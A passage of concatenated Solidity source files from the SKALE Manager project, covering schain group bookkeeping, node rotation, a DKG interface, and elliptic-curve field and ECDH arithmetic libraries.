placeOfSchainOnNode[schainHash][nodeIndex] = j + 1;
}
}
}
}
function removeNodeFromAllExceptionSchains(uint nodeIndex) external allow("SkaleManager") {
uint len = _nodeToLockedSchains[nodeIndex].length;
if (len > 0) {
for (uint i = len; i > 0; i--) {
removeNodeFromExceptions(_nodeToLockedSchains[nodeIndex][i - 1], nodeIndex);
}
}
}
function makeSchainNodesInvisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) {
nodes.makeNodeInvisible(_schainToExceptionNodes[schainId][i]);
}
}
function makeSchainNodesVisible(bytes32 schainId) external allowTwo("NodeRotation", "SkaleDKG") {
_makeSchainNodesVisible(schainId);
}
/**
* @dev Returns all Schains in the network.
*/
function getSchains() external view returns (bytes32[] memory) {
return schainsAtSystem;
}
/**
* @dev Returns all occupied resources on one node for an Schain.
*/
function getSchainsPartOfNode(bytes32 schainId) external view returns (uint8) {
return schains[schainId].partOfNode;
}
/**
* @dev Returns number of schains by schain owner.
*/
function getSchainListSize(address from) external view returns (uint) {
return schainIndexes[from].length;
}
/**
* @dev Returns hashes of schain names by schain owner.
*/
function getSchainIdsByAddress(address from) external view returns (bytes32[] memory) {
return schainIndexes[from];
}
/**
* @dev Returns hashes of schain names running on a node.
*/
function getSchainIdsForNode(uint nodeIndex) external view returns (bytes32[] memory) {
return schainsForNodes[nodeIndex];
}
/**
* @dev Returns the owner of an schain.
*/
function getSchainOwner(bytes32 schainId) external view returns (address) {
return schains[schainId].owner;
}
/**
* @dev Checks whether schain name is available.
* TODO Need to delete - copy of web3.utils.soliditySha3
*/
function isSchainNameAvailable(string calldata name) external view returns (bool) {
bytes32 schainId = keccak256(abi.encodePacked(name));
return schains[schainId].owner == address(0) &&
!usedSchainNames[schainId] &&
keccak256(abi.encodePacked(name)) != keccak256(abi.encodePacked("Mainnet"));
}
/**
* @dev Checks whether schain lifetime has expired.
*/
function isTimeExpired(bytes32 schainId) external view returns (bool) {
return uint(schains[schainId].startDate).add(schains[schainId].lifetime) < block.timestamp;
}
/**
* @dev Checks whether address is owner of schain.
*/
function isOwnerAddress(address from, bytes32 schainId) external view returns (bool) {
return schains[schainId].owner == from;
}
/**
* @dev Checks whether schain exists.
*/
function isSchainExist(bytes32 schainId) external view returns (bool) {
return keccak256(abi.encodePacked(schains[schainId].name)) != keccak256(abi.encodePacked(""));
}
/**
* @dev Returns schain name.
*/
function getSchainName(bytes32 schainId) external view returns (string memory) {
return schains[schainId].name;
}
/**
* @dev Returns last active schain of a node.
*/
function getActiveSchain(uint nodeIndex) external view returns (bytes32) {
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
return schainsForNodes[nodeIndex][i - 1];
}
}
return bytes32(0);
}
/**
* @dev Returns active schains of a node.
*/
function getActiveSchains(uint nodeIndex) external view returns (bytes32[] memory activeSchains) {
uint activeAmount = 0;
for (uint i = 0; i < schainsForNodes[nodeIndex].length; i++) {
if (schainsForNodes[nodeIndex][i] != bytes32(0)) {
activeAmount++;
}
}
uint cursor = 0;
activeSchains = new bytes32[](activeAmount);
for (uint i = schainsForNodes[nodeIndex].length; i > 0; i--) {
if (schainsForNodes[nodeIndex][i - 1] != bytes32(0)) {
activeSchains[cursor++] = schainsForNodes[nodeIndex][i - 1];
}
}
}
/**
* @dev Returns number of nodes in an schain group.
*/
function getNumberOfNodesInGroup(bytes32 schainId) external view returns (uint) {
return schainsGroups[schainId].length;
}
/**
* @dev Returns nodes in an schain group.
*/
function getNodesInGroup(bytes32 schainId) external view returns (uint[] memory) {
return schainsGroups[schainId];
}
/**
* @dev Checks whether sender is a node address from a given schain group.
*/
function isNodeAddressesInGroup(bytes32 schainId, address sender) external view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < schainsGroups[schainId].length; i++) {
if (nodes.getNodeAddress(schainsGroups[schainId][i]) == sender) {
return true;
}
}
return false;
}
/**
* @dev Returns node index in schain group.
*/
function getNodeIndexInGroup(bytes32 schainId, uint nodeId) external view returns (uint) {
for (uint index = 0; index < schainsGroups[schainId].length; index++) {
if (schainsGroups[schainId][index] == nodeId) {
return index;
}
}
return schainsGroups[schainId].length;
}
/**
* @dev Checks whether there are any nodes with free resources for given
* schain.
*/
function isAnyFreeNode(bytes32 schainId) external view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainId].partOfNode;
return nodes.countNodesWithFreeSpace(space) > 0;
}
/**
* @dev Returns whether any exceptions exist for node in a schain group.
*/
function checkException(bytes32 schainId, uint nodeIndex) external view returns (bool) {
return _exceptionsForGroups[schainId][nodeIndex];
}
function checkHoleForSchain(bytes32 schainHash, uint indexOfNode) external view returns (bool) {
for (uint i = 0; i < holesForSchains[schainHash].length; i++) {
if (holesForSchains[schainHash][i] == indexOfNode) {
return true;
}
}
return false;
}
/**
* @dev Returns number of Schains on a node.
*/
function getLengthOfSchainsForNode(uint nodeIndex) external view returns (uint) {
return schainsForNodes[nodeIndex].length;
}
function getSchainType(uint typeOfSchain) external view returns(uint8, uint) {
require(_keysOfSchainTypes.contains(typeOfSchain), "Invalid type of schain");
return (schainTypes[typeOfSchain].partOfNode, schainTypes[typeOfSchain].numberOfNodes);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
numberOfSchains = 0;
sumOfSchainsResources = 0;
numberOfSchainTypes = 0;
}
/**
* @dev Allows Schains and NodeRotation contracts to add schain to node.
*/
function addSchainForNode(uint nodeIndex, bytes32 schainId) public allowTwo("Schains", "NodeRotation") {
if (holesForNodes[nodeIndex].length == 0) {
schainsForNodes[nodeIndex].push(schainId);
placeOfSchainOnNode[schainId][nodeIndex] = schainsForNodes[nodeIndex].length;
} else {
uint lastHoleOfNode = holesForNodes[nodeIndex][holesForNodes[nodeIndex].length - 1];
schainsForNodes[nodeIndex][lastHoleOfNode] = schainId;
placeOfSchainOnNode[schainId][nodeIndex] = lastHoleOfNode + 1;
holesForNodes[nodeIndex].pop();
}
}
/**
* @dev Allows Schains, NodeRotation, and SkaleDKG contracts to remove an
* schain from a node.
*/
function removeSchainForNode(uint nodeIndex, uint schainIndex)
public
allowThree("NodeRotation", "SkaleDKG", "Schains")
{
uint length = schainsForNodes[nodeIndex].length;
if (schainIndex == length.sub(1)) {
schainsForNodes[nodeIndex].pop();
} else {
delete schainsForNodes[nodeIndex][schainIndex];
if (holesForNodes[nodeIndex].length > 0 && holesForNodes[nodeIndex][0] > schainIndex) {
uint hole = holesForNodes[nodeIndex][0];
holesForNodes[nodeIndex][0] = schainIndex;
holesForNodes[nodeIndex].push(hole);
} else {
holesForNodes[nodeIndex].push(schainIndex);
}
}
}
/**
* @dev Allows Schains contract to remove node from exceptions
*/
function removeNodeFromExceptions(bytes32 schainHash, uint nodeIndex)
public
allowThree("Schains", "NodeRotation", "SkaleManager")
{
_exceptionsForGroups[schainHash][nodeIndex] = false;
uint len = _nodeToLockedSchains[nodeIndex].length;
bool removed = false;
if (len > 0 && _nodeToLockedSchains[nodeIndex][len - 1] == schainHash) {
_nodeToLockedSchains[nodeIndex].pop();
removed = true;
} else {
for (uint i = len; i > 0 && !removed; i--) {
if (_nodeToLockedSchains[nodeIndex][i - 1] == schainHash) {
_nodeToLockedSchains[nodeIndex][i - 1] = _nodeToLockedSchains[nodeIndex][len - 1];
_nodeToLockedSchains[nodeIndex].pop();
removed = true;
}
}
}
len = _schainToExceptionNodes[schainHash].length;
removed = false;
if (len > 0 && _schainToExceptionNodes[schainHash][len - 1] == nodeIndex) {
_schainToExceptionNodes[schainHash].pop();
removed = true;
} else {
for (uint i = len; i > 0 && !removed; i--) {
if (_schainToExceptionNodes[schainHash][i - 1] == nodeIndex) {
_schainToExceptionNodes[schainHash][i - 1] = _schainToExceptionNodes[schainHash][len - 1];
_schainToExceptionNodes[schainHash].pop();
removed = true;
}
}
}
}
/**
* @dev Returns index of Schain in list of schains for a given node.
*/
function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) {
if (placeOfSchainOnNode[schainId][nodeIndex] == 0)
return schainsForNodes[nodeIndex].length;
return placeOfSchainOnNode[schainId][nodeIndex] - 1;
}
function _getNodeToLockedSchains() internal view returns (mapping(uint => bytes32[]) storage) {
return _nodeToLockedSchains;
}
function _getSchainToExceptionNodes() internal view returns (mapping(bytes32 => uint[]) storage) {
return _schainToExceptionNodes;
}
/**
* @dev Generates schain group using a pseudo-random generator.
*/
function _generateGroup(bytes32 schainId, uint numberOfNodes) private returns (uint[] memory nodesInGroup) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
uint8 space = schains[schainId].partOfNode;
nodesInGroup = new uint[](numberOfNodes);
require(nodes.countNodesWithFreeSpace(space) >= nodesInGroup.length, "Not enough nodes to create Schain");
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId)
);
for (uint i = 0; i < numberOfNodes; i++) {
uint node = nodes.getRandomNodeWithFreeSpace(space, randomGenerator);
nodesInGroup[i] = node;
_setException(schainId, node);
addSchainForNode(node, schainId);
nodes.makeNodeInvisible(node);
require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node");
}
// set generated group
schainsGroups[schainId] = nodesInGroup;
_makeSchainNodesVisible(schainId);
}
function _setException(bytes32 schainId, uint nodeIndex) private {
_exceptionsForGroups[schainId][nodeIndex] = true;
_nodeToLockedSchains[nodeIndex].push(schainId);
_schainToExceptionNodes[schainId].push(nodeIndex);
}
function _makeSchainNodesVisible(bytes32 schainId) private {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
for (uint i = 0; i < _schainToExceptionNodes[schainId].length; i++) {
nodes.makeNodeVisible(_schainToExceptionNodes[schainId][i]);
}
}
/**
* @dev Returns local index of node in schain group.
*/
function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) {
uint[] memory nodesInGroup = schainsGroups[schainId];
uint index;
for (index = 0; index < nodesInGroup.length; index++) {
if (nodesInGroup[index] == nodeIndex) {
return index;
}
}
return index;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
FieldOperations.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "./Precompiled.sol";
library Fp2Operations {
using SafeMath for uint;
struct Fp2Point {
uint a;
uint b;
}
uint constant public P = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
function addFp2(Fp2Point memory value1, Fp2Point memory value2) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: addmod(value1.a, value2.a, P), b: addmod(value1.b, value2.b, P) });
}
function scalarMulFp2(Fp2Point memory value, uint scalar) internal pure returns (Fp2Point memory) {
return Fp2Point({ a: mulmod(scalar, value.a, P), b: mulmod(scalar, value.b, P) });
}
function minusFp2(Fp2Point memory diminished, Fp2Point memory subtracted) internal pure
returns (Fp2Point memory difference)
{
uint p = P;
if (diminished.a >= subtracted.a) {
difference.a = addmod(diminished.a, p - subtracted.a, p);
} else {
difference.a = (p - addmod(subtracted.a, p - diminished.a, p)).mod(p);
}
if (diminished.b >= subtracted.b) {
difference.b = addmod(diminished.b, p - subtracted.b, p);
} else {
difference.b = (p - addmod(subtracted.b, p - diminished.b, p)).mod(p);
}
}
function mulFp2(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (Fp2Point memory result)
{
uint p = P;
Fp2Point memory point = Fp2Point({
a: mulmod(value1.a, value2.a, p),
b: mulmod(value1.b, value2.b, p)});
result.a = addmod(
point.a,
mulmod(p - 1, point.b, p),
p);
result.b = addmod(
mulmod(
addmod(value1.a, value1.b, p),
addmod(value2.a, value2.b, p),
p),
p - addmod(point.a, point.b, p),
p);
}
function squaredFp2(Fp2Point memory value) internal pure returns (Fp2Point memory) {
uint p = P;
uint ab = mulmod(value.a, value.b, p);
uint mult = mulmod(addmod(value.a, value.b, p), addmod(value.a, mulmod(p - 1, value.b, p), p), p);
return Fp2Point({ a: mult, b: addmod(ab, ab, p) });
}
function inverseFp2(Fp2Point memory value) internal view returns (Fp2Point memory result) {
uint p = P;
uint t0 = mulmod(value.a, value.a, p);
uint t1 = mulmod(value.b, value.b, p);
uint t2 = mulmod(p - 1, t1, p);
if (t0 >= t2) {
t2 = addmod(t0, p - t2, p);
} else {
t2 = (p - addmod(t2, p - t0, p)).mod(p);
}
uint t3 = Precompiled.bigModExp(t2, p - 2, p);
result.a = mulmod(value.a, t3, p);
result.b = (p - mulmod(value.b, t3, p)).mod(p);
}
function isEqual(
Fp2Point memory value1,
Fp2Point memory value2
)
internal
pure
returns (bool)
{
return value1.a == value2.a && value1.b == value2.b;
}
}
library G1Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
function getG1Generator() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 1,
b: 2
});
}
function isG1Point(uint x, uint y) internal pure returns (bool) {
uint p = Fp2Operations.P;
return mulmod(y, y, p) ==
addmod(mulmod(mulmod(x, x, p), x, p), 3, p);
}
function isG1(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return isG1Point(point.a, point.b);
}
function checkRange(Fp2Operations.Fp2Point memory point) internal pure returns (bool) {
return point.a < Fp2Operations.P && point.b < Fp2Operations.P;
}
function negate(uint y) internal pure returns (uint) {
return Fp2Operations.P.sub(y).mod(Fp2Operations.P);
}
}
library G2Operations {
using SafeMath for uint;
using Fp2Operations for Fp2Operations.Fp2Point;
struct G2Point {
Fp2Operations.Fp2Point x;
Fp2Operations.Fp2Point y;
}
function getTWISTB() internal pure returns (Fp2Operations.Fp2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return Fp2Operations.Fp2Point({
a: 19485874751759354771024239261021720505790618469301721065564631296452457478373,
b: 266929791119991161246907387137283842545076965332900288569378510910307636690
});
}
function getG2Generator() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 10857046999023057135944570762232829481370756359578518086990519993285655852781,
b: 11559732032986387107991004021392285783925812861821192530917403151452391805634
}),
y: Fp2Operations.Fp2Point({
a: 8495653923123431417604973247489272438418190587263600148770280649306958101930,
b: 4082367875863433681332203403145435568316851327593401208105741076214120093531
})
});
}
function getG2Zero() internal pure returns (G2Point memory) {
// Current solidity version does not support Constants of non-value type
// so we implemented this function
return G2Point({
x: Fp2Operations.Fp2Point({
a: 0,
b: 0
}),
y: Fp2Operations.Fp2Point({
a: 1,
b: 0
})
});
}
function isG2Point(Fp2Operations.Fp2Point memory x, Fp2Operations.Fp2Point memory y) internal pure returns (bool) {
if (isG2ZeroPoint(x, y)) {
return true;
}
Fp2Operations.Fp2Point memory squaredY = y.squaredFp2();
Fp2Operations.Fp2Point memory res = squaredY.minusFp2(
x.squaredFp2().mulFp2(x)
).minusFp2(getTWISTB());
return res.a == 0 && res.b == 0;
}
function isG2(G2Point memory value) internal pure returns (bool) {
return isG2Point(value.x, value.y);
}
function isG2ZeroPoint(
Fp2Operations.Fp2Point memory x,
Fp2Operations.Fp2Point memory y
)
internal
pure
returns (bool)
{
return x.a == 0 && x.b == 0 && y.a == 1 && y.b == 0;
}
function isG2Zero(G2Point memory value) internal pure returns (bool) {
return value.x.a == 0 && value.x.b == 0 && value.y.a == 1 && value.y.b == 0;
// return isG2ZeroPoint(value.x, value.y);
}
function addG2(
G2Point memory value1,
G2Point memory value2
)
internal
view
returns (G2Point memory sum)
{
if (isG2Zero(value1)) {
return value2;
}
if (isG2Zero(value2)) {
return value1;
}
if (isEqual(value1, value2)) {
return doubleG2(value1);
}
Fp2Operations.Fp2Point memory s = value2.y.minusFp2(value1.y).mulFp2(value2.x.minusFp2(value1.x).inverseFp2());
sum.x = s.squaredFp2().minusFp2(value1.x.addFp2(value2.x));
sum.y = value1.y.addFp2(s.mulFp2(sum.x.minusFp2(value1.x)));
uint p = Fp2Operations.P;
sum.y.a = (p - sum.y.a).mod(p);
sum.y.b = (p - sum.y.b).mod(p);
}
function isEqual(
G2Point memory value1,
G2Point memory value2
)
internal
pure
returns (bool)
{
return value1.x.isEqual(value2.x) && value1.y.isEqual(value2.y);
}
function doubleG2(G2Point memory value)
internal
view
returns (G2Point memory result)
{
if (isG2Zero(value)) {
return value;
} else {
Fp2Operations.Fp2Point memory s =
value.x.squaredFp2().scalarMulFp2(3).mulFp2(value.y.scalarMulFp2(2).inverseFp2());
result.x = s.squaredFp2().minusFp2(value.x.addFp2(value.x));
result.y = value.y.addFp2(s.mulFp2(result.x.minusFp2(value.x)));
uint p = Fp2Operations.P;
result.y.a = (p - result.y.a).mod(p);
result.y.b = (p - result.y.b).mod(p);
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
NodeRotation.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./interfaces/ISkaleDKG.sol";
import "./utils/Random.sol";
import "./ConstantsHolder.sol";
import "./Nodes.sol";
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./Schains.sol";
/**
* @title NodeRotation
* @dev This contract handles all node rotation functionality.
*/
contract NodeRotation is Permissions {
using Random for Random.RandomGenerator;
/**
* nodeIndex - index of Node which is in process of rotation (left from schain)
* newNodeIndex - index of Node which is rotated(added to schain)
* freezeUntil - time till which Node should be turned on
* rotationCounter - how many rotations were on this schain
*/
struct Rotation {
uint nodeIndex;
uint newNodeIndex;
uint freezeUntil;
uint rotationCounter;
}
struct LeavingHistory {
bytes32 schainIndex;
uint finishedRotation;
}
mapping (bytes32 => Rotation) public rotations;
mapping (uint => LeavingHistory[]) public leavingHistory;
mapping (bytes32 => bool) public waitForNewNode;
/**
* @dev Allows SkaleManager to remove, find new node, and rotate node from
* schain.
*
* Requirements:
*
* - A free node must exist.
*/
function exitFromSchain(uint nodeIndex) external allow("SkaleManager") returns (bool, bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
bytes32 schainId = schainsInternal.getActiveSchain(nodeIndex);
if (schainId == bytes32(0)) {
return (true, false);
}
_startRotation(schainId, nodeIndex);
rotateNode(nodeIndex, schainId, true, false);
return (schainsInternal.getActiveSchain(nodeIndex) == bytes32(0) ? true : false, true);
}
/**
* @dev Allows SkaleManager contract to freeze all schains on a given node.
*/
function freezeSchains(uint nodeIndex) external allow("SkaleManager") {
bytes32[] memory schains = SchainsInternal(
contractManager.getContract("SchainsInternal")
).getSchainIdsForNode(nodeIndex);
for (uint i = 0; i < schains.length; i++) {
if (schains[i] != bytes32(0)) {
require(
ISkaleDKG(contractManager.getContract("SkaleDKG")).isLastDKGSuccessful(schains[i]),
"DKG did not finish on Schain"
);
if (rotations[schains[i]].freezeUntil < now) {
_startWaiting(schains[i], nodeIndex);
} else {
if (rotations[schains[i]].nodeIndex != nodeIndex) {
revert("Occupied by rotation on Schain");
}
}
}
}
}
/**
* @dev Allows Schains contract to remove a rotation from an schain.
*/
function removeRotation(bytes32 schainIndex) external allow("Schains") {
delete rotations[schainIndex];
}
/**
* @dev Allows Owner to immediately rotate an schain.
*/
function skipRotationDelay(bytes32 schainIndex) external onlyOwner {
rotations[schainIndex].freezeUntil = now;
}
/**
* @dev Returns rotation details for a given schain.
*/
function getRotation(bytes32 schainIndex) external view returns (Rotation memory) {
return rotations[schainIndex];
}
/**
* @dev Returns leaving history for a given node.
*/
function getLeavingHistory(uint nodeIndex) external view returns (LeavingHistory[] memory) {
return leavingHistory[nodeIndex];
}
function isRotationInProgress(bytes32 schainIndex) external view returns (bool) {
return rotations[schainIndex].freezeUntil >= now && !waitForNewNode[schainIndex];
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
/**
* @dev Allows SkaleDKG and SkaleManager contracts to rotate a node from an
* schain.
*/
function rotateNode(
uint nodeIndex,
bytes32 schainId,
bool shouldDelay,
bool isBadNode
)
public
allowTwo("SkaleDKG", "SkaleManager")
returns (uint newNode)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
schainsInternal.removeNodeFromSchain(nodeIndex, schainId);
if (!isBadNode) {
schainsInternal.removeNodeFromExceptions(schainId, nodeIndex);
}
newNode = selectNodeToGroup(schainId);
Nodes(contractManager.getContract("Nodes")).addSpaceToNode(
nodeIndex,
schainsInternal.getSchainsPartOfNode(schainId)
);
_finishRotation(schainId, nodeIndex, newNode, shouldDelay);
}
/**
* @dev Allows SkaleManager, Schains, and SkaleDKG contracts to
* pseudo-randomly select a new Node for an Schain.
*
* Requirements:
*
* - Schain is active.
* - A free node already exists.
* - Free space can be allocated from the node.
*/
function selectNodeToGroup(bytes32 schainId)
public
allowThree("SkaleManager", "Schains", "SkaleDKG")
returns (uint nodeIndex)
{
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
require(schainsInternal.isSchainActive(schainId), "Group is not active");
uint8 space = schainsInternal.getSchainsPartOfNode(schainId);
schainsInternal.makeSchainNodesInvisible(schainId);
require(schainsInternal.isAnyFreeNode(schainId), "No free Nodes available for rotation");
Random.RandomGenerator memory randomGenerator = Random.createFromEntropy(
abi.encodePacked(uint(blockhash(block.number - 1)), schainId)
);
nodeIndex = nodes.getRandomNodeWithFreeSpace(space, randomGenerator);
require(nodes.removeSpaceFromNode(nodeIndex, space), "Could not remove space from nodeIndex");
schainsInternal.makeSchainNodesVisible(schainId);
schainsInternal.addSchainForNode(nodeIndex, schainId);
schainsInternal.setException(schainId, nodeIndex);
schainsInternal.setNodeInGroup(schainId, nodeIndex);
}
/**
* @dev Initiates rotation of a node from an schain.
*/
function _startRotation(bytes32 schainIndex, uint nodeIndex) private {
rotations[schainIndex].newNodeIndex = nodeIndex;
waitForNewNode[schainIndex] = true;
}
function _startWaiting(bytes32 schainIndex, uint nodeIndex) private {
ConstantsHolder constants = ConstantsHolder(contractManager.getContract("ConstantsHolder"));
rotations[schainIndex].nodeIndex = nodeIndex;
rotations[schainIndex].freezeUntil = now.add(constants.rotationDelay());
}
/**
* @dev Completes rotation of a node from an schain.
*/
function _finishRotation(
bytes32 schainIndex,
uint nodeIndex,
uint newNodeIndex,
bool shouldDelay)
private
{
leavingHistory[nodeIndex].push(
LeavingHistory(
schainIndex,
shouldDelay ? now.add(
ConstantsHolder(contractManager.getContract("ConstantsHolder")).rotationDelay()
) : now
)
);
rotations[schainIndex].newNodeIndex = newNodeIndex;
rotations[schainIndex].rotationCounter++;
delete waitForNewNode[schainIndex];
ISkaleDKG(contractManager.getContract("SkaleDKG")).openChannel(schainIndex);
}
/**
* @dev Checks whether a rotation can be performed.
*
* Requirements:
*
* - Schain must exist.
*/
function _checkRotation(bytes32 schainId ) private view returns (bool) {
SchainsInternal schainsInternal = SchainsInternal(contractManager.getContract("SchainsInternal"));
require(schainsInternal.isSchainExist(schainId), "Schain does not exist for rotation");
return schainsInternal.isAnyFreeNode(schainId);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISkaleDKG.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
/**
* @dev Interface to {SkaleDKG}.
*/
interface ISkaleDKG {
/**
* @dev See {SkaleDKG-openChannel}.
*/
function openChannel(bytes32 schainId) external;
/**
* @dev See {SkaleDKG-deleteChannel}.
*/
function deleteChannel(bytes32 schainId) external;
/**
* @dev See {SkaleDKG-isLastDKGSuccessful}.
*/
function isLastDKGSuccessful(bytes32 groupIndex) external view returns (bool);
/**
* @dev See {SkaleDKG-isChannelOpened}.
*/
function isChannelOpened(bytes32 schainId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
/*
Modifications Copyright (C) 2018 SKALE Labs
ec.sol by @jbaylina under GPL-3.0 License
*/
/** @file ECDH.sol
* @author Jordi Baylina (@jbaylina)
* @date 2016
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
/**
* @title ECDH
* @dev This contract performs Elliptic-curve Diffie-Hellman key exchange to
* support the DKG process.
*/
contract ECDH {
using SafeMath for uint256;
uint256 constant private _GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798;
uint256 constant private _GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8;
uint256 constant private _N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F;
uint256 constant private _A = 0;
function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) {
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
_GX,
_GY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function deriveKey(
uint256 privKey,
uint256 pubX,
uint256 pubY
)
external
pure
returns (uint256 qx, uint256 qy)
{
uint256 x;
uint256 y;
uint256 z;
(x, y, z) = ecMul(
privKey,
pubX,
pubY,
1
);
z = inverse(z);
qx = mulmod(x, z, _N);
qy = mulmod(y, z, _N);
}
function jAdd(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(x2, z1, _N), _N), mulmod(z1, z2, _N));
}
function jSub(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (addmod(mulmod(z2, x1, _N), mulmod(_N.sub(x2), z1, _N), _N), mulmod(z1, z2, _N));
}
function jMul(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, x2, _N), mulmod(z1, z2, _N));
}
function jDiv(
uint256 x1,
uint256 z1,
uint256 x2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 z3)
{
(x3, z3) = (mulmod(x1, z2, _N), mulmod(z1, x2, _N));
}
function inverse(uint256 a) public pure returns (uint256 invA) {
require(a > 0 && a < _N, "Input is incorrect");
uint256 t = 0;
uint256 newT = 1;
uint256 r = _N;
uint256 newR = a;
uint256 q;
while (newR != 0) {
q = r.div(newR);
(t, newT) = (newT, addmod(t, (_N.sub(mulmod(q, newT, _N))), _N));
(r, newR) = (newR, r % newR);
}
return t;
}
function ecAdd(
uint256 x1,
uint256 y1,
uint256 z1,
uint256 x2,
uint256 y2,
uint256 z2
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
uint256 ln;
uint256 lz;
uint256 da;
uint256 db;
// we use (0 0 1) as zero point, z always equal 1
if ((x1 == 0) && (y1 == 0)) {
return (x2, y2, z2);
}
// we use (0 0 1) as zero point, z always equal 1
if ((x2 == 0) && (y2 == 0)) {
return (x1, y1, z1);
}
if ((x1 == x2) && (y1 == y2)) {
(ln, lz) = jMul(x1, z1, x1, z1);
(ln, lz) = jMul(ln,lz,3,1);
(ln, lz) = jAdd(ln,lz,_A,1);
(da, db) = jMul(y1,z1,2,1);
} else {
(ln, lz) = jSub(y2,z2,y1,z1);
(da, db) = jSub(x2,z2,x1,z1);
}
(ln, lz) = jDiv(ln,lz,da,db);
(x3, da) = jMul(ln,lz,ln,lz);
(x3, da) = jSub(x3,da,x1,z1);
(x3, da) = jSub(x3,da,x2,z2);
(y3, db) = jSub(x1,z1,x3,da);
(y3, db) = jMul(y3,db,ln,lz);
(y3, db) = jSub(y3,db,y1,z1);
if (da != db) {
x3 = mulmod(x3, db, _N);
y3 = mulmod(y3, da, _N);
z3 = mulmod(da, db, _N);
} else {
z3 = da;
}
}
function ecDouble(
uint256 x1,
uint256 y1,
uint256 z1
)
public
pure
returns (uint256 x3, uint256 y3, uint256 z3)
{
(x3, y3, z3) = ecAdd(
x1,
y1,
z1,
x1,
y1,
z1
);
}
